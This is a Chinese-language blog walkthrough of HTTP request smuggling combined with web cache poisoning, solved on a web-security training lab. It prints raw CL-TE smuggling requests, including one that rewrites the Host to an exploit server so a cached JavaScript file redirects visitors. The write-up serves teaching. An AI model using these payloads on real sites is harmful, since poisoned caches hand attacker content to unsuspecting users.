当前位置:网站首页>Http-Sumggling Cache Vulnerability Analysis
Http-Sumggling Cache Vulnerability Analysis
2022-08-05 10:58:00 【Hetian Network Security Lab】
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看.
在接触Http Sumggling
缓存漏洞前,我们需要先对Http Sumggling
和Web缓存有所了解.
什么是Web缓存
WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器.
缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:
后端程序缓存
服务器缓存
浏览器缓存
缓存服务器
CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器.
而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache
,缓存键叫什么决定于架构师,但都是一个概念.
什么是web缓存漏洞
如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss
的判定,是首次访问,所以直接连接到Server
服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit
,即只需连接Cache缓存服务器,不再连接到Server
服务器,借此减少了Server
服务器的运行负荷.
这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了.
如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,Also called a cache attack.
【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的.
一般可分为以下几种:
CL: Content-Length
TE: Transfer-Encoding
CL不为0的GET请求
CL-CL
CL-TE
TE-CL
TE-TE
在[email protected]知道创宇404实验室
的文章中有了十分详细的论述,我这就不再赘述.
Http Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning
为靶场.
解法
判断是否存在走私,确定为CL-TE.
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
第一次请求为:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
第二次请求为下半段:
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
可以看到存在302跳转.
然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js
进行攻击.
可以看到X-Cache
为miss,这样我们就可以利用修改,进行缓存攻击.
先点击send post包
POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
访问到第一部分:
然后在
/resources/js/tracking.js
send包:可以发现成功攻击,缓存键为
miss
,那下一个包应该就可以成功转接到exploit上,我们试试.对原界面进行抓包,多抓几次.
发现host成功变为我们的exploit.
后言
漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志.
更多靶场实验练习、网安学习资料,
边栏推荐
- DocuWare平台——文档管理的内容服务和工作流自动化的平台详细介绍(下)
- uniapp中的view高度设置100%
- I'm going crazy.Again A few days can not be A problem
- 工程设备在线监测管理系统自动预警功能
- 2022 Hangzhou Electric Power Multi-School Session 6 1008.Shinobu Loves Segment Tree Regular Questions
- 如何用Golang来手写一个Blog - Milu.blog 开发总结
- In-depth understanding of timeout settings for Istio traffic management
- PG优化篇--执行计划相关项
- Discover the joy of C language
- shell编程流程控制练习
猜你喜欢
随机推荐
HDD杭州站•ArkUI让开发更灵活
如何修改管理工具client_encoding
What are the standards for electrical engineering
SQL Outer Join Intersection, Union, Difference Query
60行从零开始自己动手写FutureTask是什么体验?
自定义过滤器和拦截器实现ThreadLocal线程封闭
反射修改jsessionid实现Session共享
智能算力的枢纽如何构建?中国云都的淮海智算中心打了个样
支持向量机SVM
四、kubeadm单master
Leetcode刷题——623. 在二叉树中增加一行
如何选币与确定对应策略研究
学生信息管理系统(第一次.....)
Android development with Kotlin programming language - basic data types
[Translation] Chaos Net + SkyWalking: Better observability for chaos engineering
PG优化篇--执行计划相关项
Ali's new launch: Microservices Assault Manual, all operations are written out in PDF
Mathcad 15.0软件安装包下载及安装教程
结合“xPlus”探讨软件架构的创新与变革
The fuse: OAuth 2.0 four authorized login methods must read